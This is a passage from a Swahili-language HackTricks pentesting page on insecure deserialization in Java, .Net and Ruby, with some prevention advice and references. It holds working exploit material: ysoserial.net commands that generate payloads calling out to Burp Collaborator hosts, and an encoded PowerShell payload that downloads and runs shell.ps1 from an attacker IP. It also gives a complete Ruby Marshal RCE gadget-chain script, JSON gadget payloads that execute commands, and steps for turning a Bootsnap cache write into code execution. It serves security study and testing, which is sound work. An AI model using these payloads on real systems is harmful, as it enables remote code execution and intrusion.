return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Kutumia Maktaba za Nje kwa Usalama Bora: Maktaba kama NotSoSerial, jdeserialize, na Kryo hutoa vipengele vya juu vya kudhibiti na kufuatilia deserialization ya Java. Maktaba hizi zinaweza kutoa tabaka za ziada za usalama, kama vile kuorodhesha au kuzuia madarasa, kuchambua vitu vilivyohifadhiwa kabla ya deserialization, na kutekeleza mikakati ya kawaida ya serialization.
- NotSoSerial inakamata michakato ya deserialization ili kuzuia utekelezaji wa msimbo usioaminika.
- jdeserialize inaruhusu uchambuzi wa vitu vilivyohifadhiwa vya Java bila kuvisafirisha, kusaidia kubaini maudhui yanayoweza kuwa na madhara.
- Kryo ni mfumo mbadala wa serialization unaosisitiza kasi na ufanisi, ukitoa mikakati ya serialization inayoweza kubadilishwa ambayo inaweza kuongeza usalama.
Marejeleo
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Mazungumzo ya Deserialization na ysoserial: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Mazungumzo kuhusu gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 na slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Karatasi ya Marshalsec: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Karatasi ya deserialization ya Java na .Net JSON : https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf,** mazungumzo: https://www.youtube.com/watch?v=oUAeWhW5b8c na slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- CVEs za deserialization: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Pata kile ambacho ni JNDI Injection, jinsi ya kulitumia kupitia RMI, CORBA & LDAP na jinsi ya kutumia log4shell (na mfano wa vuln hii) katika ukurasa ufuatao:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
API ya Java Message Service (JMS) ni API ya Java inayolenga ujumbe kwa ajili ya kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kushughulikia tatizo la mtengenezaji-mtumiaji. JMS ni sehemu ya Jukwaa la Java, Toleo la Biashara (Java EE), na ilifafanuliwa na spesifikesheni iliyotengenezwa katika Sun Microsystems, lakini ambayo tangu wakati huo imeongozwa na Mchakato wa Jamii ya Java. Ni kiwango cha ujumbe kinachoruhusu vipengele vya programu vinavyotegemea Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya vipengele tofauti vya programu iliyosambazwa kuwa na uhusiano wa kulegea, wa kuaminika, na wa asynchronic. (Kutoka Wikipedia).
Bidhaa
Kuna bidhaa kadhaa zinazotumia middleware hii kutuma ujumbe:
Utekelezaji
Hivyo, kimsingi kuna huduma nyingi zinazotumia JMS kwa njia hatari. Kwa hivyo, ikiwa una mamlaka ya kutosha kutuma ujumbe kwa huduma hizi (kawaida utahitaji akidi halali) unaweza kuwa na uwezo wa kutuma vitu vya hatari vilivyohifadhiwa ambavyo vitasafirishwa na mtumiaji/mwandikaji.
Hii inamaanisha kwamba katika utekelezaji huu wateja wote watakaotumia ujumbe huo wataambukizwa.
Unapaswa kukumbuka kwamba hata kama huduma ina udhaifu (kwa sababu inasafirisha kwa usalama usiofaa maoni ya mtumiaji) bado unahitaji kutafuta gadgets halali ili kutumia udhaifu huo.
Zana JMET ilitengenezwa ili kuunganisha na kushambulia huduma hizi kwa kutuma vitu kadhaa vya hatari vilivyohifadhiwa kwa kutumia gadgets zinazojulikana. Hizi exploit zitafanya kazi ikiwa huduma bado ina udhaifu na ikiwa mojawapo ya gadgets zilizotumika iko ndani ya programu iliyo hatarini.
Marejeleo
-
Patchstack advisory β Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
Mazungumzo ya JMET: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
Katika muktadha wa .Net, exploit za deserialization zinafanya kazi kwa njia inayofanana na zile zinazopatikana katika Java, ambapo gadgets zinatumika kuendesha msimbo maalum wakati wa deserialization ya kitu.
Alama
WhiteBox
Msimbo wa chanzo unapaswa kuchunguzwa kwa matukio ya:
TypeNameHandling
JavaScriptTypeResolver
Kipaumbele kinapaswa kuwa kwa serializers zinazoruhusu aina kuamuliwa na variable chini ya udhibiti wa mtumiaji.
BlackBox
Utafutaji unapaswa kulenga mfuatano wa string iliyokodishwa kwa Base64 AAEAAAD///// au muundo wowote wa kufanana ambao unaweza kupitia deserialization upande wa seva, ukitoa udhibiti juu ya aina itakayohifadhiwa. Hii inaweza kujumuisha, lakini si mdogo kwa, muundo wa JSON au XML unaoonyesha TypeObject
au $type
.
ysoserial.net
Katika kesi hii unaweza kutumia zana ysoserial.net ili kuunda exploit za deserialization. Mara tu unaposhusha hifadhi ya git unapaswa kuunda zana hiyo kwa kutumia Visual Studio kwa mfano.
Ikiwa unataka kujifunza kuhusu jinsi ysoserial.net inavyounda exploit zake unaweza kuangalia ukurasa huu ambapo inafafanuliwa gadget ya ObjectDataProvider + ExpandedWrapper + Json.Net formatter.
Chaguzi kuu za ysoserial.net ni: --gadget
, --formatter
, --output
na --plugin
.
--gadget
inatumika kuashiria gadget ya kutumia (onyesha darasa/funzo ambalo litakabiliwa wakati wa deserialization ili kutekeleza amri).--formatter
, inatumika kuashiria njia ya kuhifadhi exploit (unahitaji kujua ni maktaba gani inayotumiwa na nyuma ili kusafirisha payload na utumie ile ile kuhifadhi).--output
inatumika kuashiria ikiwa unataka exploit katika raw au base64 iliyokodishwa. Kumbuka kwamba ysoserial.net itakuwa inakodisha payload kwa kutumia UTF-16LE (kodishaji inayotumiwa kwa kawaida kwenye Windows) hivyo ikiwa unapata raw na unakodisha tu kutoka kwenye console ya linux unaweza kuwa na baadhi ya matatizo ya ulinganifu wa kodishaji ambayo yatakuzuia exploit kufanya kazi vizuri (katika sanduku la HTB JSON payload ilifanya kazi katika UTF-16LE na ASCII lakini hii haimaanishi itafanya kazi kila wakati).--plugin
ysoserial.net inasaidia plugins kutengeneza exploits kwa mifumo maalum kama ViewState
Parameta zaidi za ysoserial.net
--minify
itatoa payload ndogo (ikiwa inawezekana)--raf -f Json.Net -c "chochote"
Hii itaonyesha gadgets zote zinazoweza kutumika na formatter iliyotolewa (Json.Net
katika kesi hii)--sf xml
unaweza kuonyesha gadget (-g
) na ysoserial.net itatafuta formatters zinazojumuisha "xml" (bila kujali herufi)
Mifano ya ysoserial ya kuunda exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net ina kipengele cha kuvutia sana ambacho husaidia kuelewa vizuri jinsi kila exploit inavyofanya kazi: --test
Ikiwa utaashiria kipengele hiki ysoserial.net itajaribu exploit kwa ndani, hivyo unaweza kujaribu kama payload yako itafanya kazi ipasavyo.
Kipengele hiki ni muhimu kwa sababu ukikagua msimbo utaona vipande vya msimbo kama ifuatavyo (kutoka ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Hii inamaanisha kwamba ili kujaribu exploit, msimbo utaita serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
Katika kodi ya awali ina udhaifu kwa exploit iliyoundwa. Hivyo basi, ikiwa unapata kitu kinachofanana katika programu ya .Net, inamaanisha kwamba labda programu hiyo ina udhaifu pia.
Kwa hiyo, --test
parameter inatupa uwezo wa kuelewa ni vipande vipi vya kodi vinavyoweza kuathiriwa na exploit ya deserialization ambayo ysoserial.net inaweza kuunda.
ViewState
Angalia hii POST kuhusu jinsi ya kujaribu ku exploit parameter ya __ViewState ya .Net ili kutekeleza kodi isiyo na mipaka. Ikiwa tayari unajua siri zinazotumiwa na mashine ya mwathirika, soma hii post kujua jinsi ya kutekeleza kodi.
Kuzuia
Ili kupunguza hatari zinazohusiana na deserialization katika .Net:
- Epuka kuruhusu mizunguko ya data kufafanua aina zao za vitu. Tumia
DataContractSerializer
auXmlSerializer
inapowezekana. - Kwa
JSON.Net
, wekaTypeNameHandling
kuwaNone
:TypeNameHandling = TypeNameHandling.None
- Epuka kutumia
JavaScriptSerializer
naJavaScriptTypeResolver
. - Punguza aina ambazo zinaweza ku deserialized, ukielewa hatari zinazohusiana na aina za .Net, kama
System.IO.FileInfo
, ambayo inaweza kubadilisha mali za faili za seva, na hivyo kusababisha mashambulizi ya kukatiza huduma. - Kuwa makini na aina zenye mali hatari, kama
System.ComponentModel.DataAnnotations.ValidationException
yenye mali yake yaValue
, ambayo inaweza kutumika vibaya. - Dhibiti kwa usalama uundaji wa aina ili kuzuia washambuliaji kuathiri mchakato wa deserialization, na kufanya hata
DataContractSerializer
auXmlSerializer
kuwa na udhaifu. - Tekeleza udhibiti wa orodha nyeupe kwa kutumia
SerializationBinder
maalum kwaBinaryFormatter
naJSON.Net
. - Kuwa na habari kuhusu gadgets za deserialization zisizo salama zinazojulikana ndani ya .Net na kuhakikisha deserializers hazianzishi aina kama hizo.
- Tenga kodi inayoweza kuwa hatari kutoka kwa kodi yenye ufikiaji wa mtandao ili kuepuka kufichua gadgets zinazojulikana, kama
System.Windows.Data.ObjectDataProvider
katika programu za WPF, kwa vyanzo vya data visivyoaminika.
Marejeo
- Karatasi ya deserialization ya Java na .Net : https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf,** mazungumzo: https://www.youtube.com/watch?v=oUAeWhW5b8c na slaidi: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Katika Ruby, serialization inarahisishwa na mbinu mbili ndani ya maktaba ya marshal. Mbinu ya kwanza, inayojulikana kama dump, inatumika kubadilisha kitu kuwa mzunguko wa byte. Mchakato huu unajulikana kama serialization. Kinyume chake, mbinu ya pili, load, inatumika kurudisha mzunguko wa byte kuwa kitu, mchakato unaojulikana kama deserialization.
Ili kulinda vitu vilivyopangwa, Ruby inatumia HMAC (Hash-Based Message Authentication Code), kuhakikisha uadilifu na ukweli wa data. Funguo inayotumika kwa kusudi hili inahifadhiwa katika moja ya maeneo kadhaa yanay posible:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (maelezo zaidi katika https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Mnyororo mwingine wa RCE kutumia Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Mbinu ya Ruby .send()
Kama ilivyoelezwa katika ripoti hii ya udhaifu, ikiwa ingizo la mtumiaji lisilo safishwa linafikia mbinu ya .send()
ya kitu cha ruby, mbinu hii inaruhusu kuita mbinu nyingine yoyote ya kitu hicho kwa kutumia vigezo vyovyote.
Kwa mfano, kuita eval na kisha msimbo wa ruby kama parameter ya pili kutaruhusu kutekeleza msimbo wa kiholela:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Zaidi ya hayo, ikiwa tu parameter moja ya .send()
inasimamiwa na mshambuliaji, kama ilivyotajwa katika andiko la awali, inawezekana kuita njia yoyote ya kitu ambacho hakihitaji hoja au ambazo hoja zake zina thamani za chaguo-msingi.
Kwa hili, inawezekana kuhesabu njia zote za kitu ili kupata baadhi ya njia za kuvutia ambazo zinakidhi mahitaji hayo.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Angalia jinsi inaweza kuwa inawezekana kuchafua darasa la Ruby na kulitumia hapa.
Ruby _json pollution
Wakati wa kutuma mwili baadhi ya thamani zisizoweza kuhesabiwa kama array zitaongezwa kwenye ufunguo mpya unaoitwa _json
. Hata hivyo, inawezekana kwa mshambuliaji pia kuweka katika mwili thamani inayoitwa _json
yenye thamani za kiholela anazotaka. Kisha, ikiwa backend kwa mfano inakagua ukweli wa parameter lakini pia inatumia parameter _json
kufanya kitendo fulani, inaweza kufanyika kupita idhini.
Angalia maelezo zaidi katika ukurasa wa Ruby _json pollution.
Other libraries
Teknolojia hii ilichukuliwa kutoka kwenye chapisho hili la blog.
Kuna maktaba nyingine za Ruby ambazo zinaweza kutumika kuunda vitu na hivyo zinaweza kutumika vibaya kupata RCE wakati wa deserialization isiyo salama. Jedwali lifuatalo linaonyesha baadhi ya maktaba hizi na njia wanayoita ya maktaba iliyopakiwa kila wakati inapotolewa (kazi ya kutumia vibaya ili kupata RCE kimsingi):
Library | Input data | Kick-off method inside class |
Marshal (Ruby) | Binary | _load |
Oj | JSON | hash (class needs to be put into hash(map) as key) |
Ox | XML | hash (class needs to be put into hash(map) as key) |
Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Basic example:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Katika kesi ya kujaribu kutumia Oj, ilikuwaje kupata darasa la gadget ambalo ndani ya kazi yake ya hash
litaita to_s
, ambayo itaita spec, ambayo itaita fetch_path ambayo ilikuwaje kuifanya ipate URL ya nasibu, ikitoa detector bora wa aina hizi za udhaifu wa deserialization zisizo na usafi.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Zaidi ya hayo, iligundulika kwamba kwa mbinu ya awali folda pia inaundwa katika mfumo, ambayo ni hitaji la kutumia gadget nyingine ili kubadilisha hii kuwa RCE kamili na kitu kama:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
Sio kweli udhaifu wa deserialization lakini ni hila nzuri ya kutumia bootstrap caching ili kupata RCE kutoka kwa programu ya rails kwa kuandika faili bila mpangilio (pata post ya asili hapa).
Hapa kuna muhtasari mfupi wa hatua zilizofafanuliwa katika makala ya kutumia udhaifu wa kuandika faili bila mpangilio kwa kutumia Bootsnap caching:
- Tambua Udhaifu na Mazingira
Kazi ya kupakia faili ya programu ya Rails inaruhusu mshambuliaji kuandika faili bila mpangilio. Ingawa programu inafanya kazi kwa vizuizi (directories fulani kama tmp zinaweza kuandikwa kutokana na mtumiaji asiye mzizi wa Docker), hii bado inaruhusu kuandika kwenye directory ya Bootsnap cache (kawaida chini ya tmp/cache/bootsnap).
- Elewa Mfumo wa Cache wa Bootsnap
Bootsnap inaboresha nyakati za kuanzisha Rails kwa kuhifadhi msimbo wa Ruby ulioandaliwa, YAML, na faili za JSON. Inahifadhi faili za cache ambazo zinajumuisha kichwa cha cache key (ikiwa na maeneo kama toleo la Ruby, saizi ya faili, mtime, chaguo za kuandaa, nk.) ikifuatiwa na msimbo ulioandaliwa. Kichwa hiki kinatumika kuthibitisha cache wakati wa kuanzisha programu.
- Kusanya Metadata ya Faili
Mshambuliaji kwanza huchagua faili lengwa ambalo linaweza kupakiwa wakati wa kuanzisha Rails (kwa mfano, set.rb kutoka maktaba ya kawaida ya Ruby). Kwa kutekeleza msimbo wa Ruby ndani ya kontena, wanatoa metadata muhimu (kama RUBY_VERSION, RUBY_REVISION, saizi, mtime, na compile_option). Takwimu hii ni muhimu kwa kutengeneza cache key halali.
- Hesabu Njia ya Faili ya Cache
Kwa kuiga mfumo wa hash wa FNV-1a 64-bit wa Bootsnap, njia sahihi ya faili ya cache inapatikana. Hatua hii inahakikisha kuwa faili ya cache yenye uharibifu imewekwa mahali ambapo Bootsnap inatarajia (kwa mfano, chini ya tmp/cache/bootsnap/compile-cache-iseq/).
- Tengeneza Faili ya Cache yenye Uharibifu
Mshambuliaji anajiandaa na payload ambayo:
- Inatekeleza amri zisizo na mpangilio (kwa mfano, kuendesha id kuonyesha habari za mchakato).
- Inafuta cache yenye uharibifu baada ya kutekelezwa ili kuzuia matumizi ya kurudi.
- Inapakia faili asilia (kwa mfano, set.rb) ili kuepuka kuangusha programu.
Payload hii inakusanywa kuwa msimbo wa Ruby wa binary na kuunganishwa na kichwa cha cache key kilichoundwa kwa uangalifu (kwa kutumia metadata iliyokusanywa awali na nambari sahihi ya toleo kwa Bootsnap).
- Badilisha na Kuanzisha Utendaji Kwa kutumia udhaifu wa kuandika faili bila mpangilio, mshambuliaji anaandika faili ya cache iliyoundwa kwenye eneo lililohesabiwa. Kisha, wanazindua upya seva (kwa kuandika kwenye tmp/restart.txt, ambayo inafuatiliwa na Puma). Wakati wa upya, wakati Rails inahitaji faili lengwa, faili ya cache yenye uharibifu inapakuliwa, na kusababisha utekelezaji wa msimbo wa mbali (RCE).
Ruby Marshal exploitation in practice (updated)
Treat any path where untrusted bytes reach Marshal.load
/marshal_load
as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Madarasa ya kawaida ya gadget zinazoonekana katika minyororo halisi:
Gem::SpecFetcher
,Gem::Version
,Gem::RequestSet::Lockfile
,Gem::Resolver::GitSpecification
,Gem::Source::Git
. - Alama ya athari ya kawaida iliyowekwa ndani ya payloads (inasanidiwa wakati wa unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Where it surfaces in real apps:
- Rails cache stores and session stores historically using Marshal
- Background job backends and file-backed object stores
- Any custom persistence or transport of binary object blobs
Industrialized gadget discovery:
- Grep for constructors,
hash
,_load
,init_with
, or side-effectful methods invoked during unmarshal - Use CodeQLβs Ruby unsafe deserialization queries to trace sources β sinks and surface gadgets
- Validate with public multi-format PoCs (JSON/XML/YAML/Marshal)
References
- Trail of Bits β Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam β Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 β Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI β RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security β Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab β Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab β PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR β Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke β Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke β Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits β Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.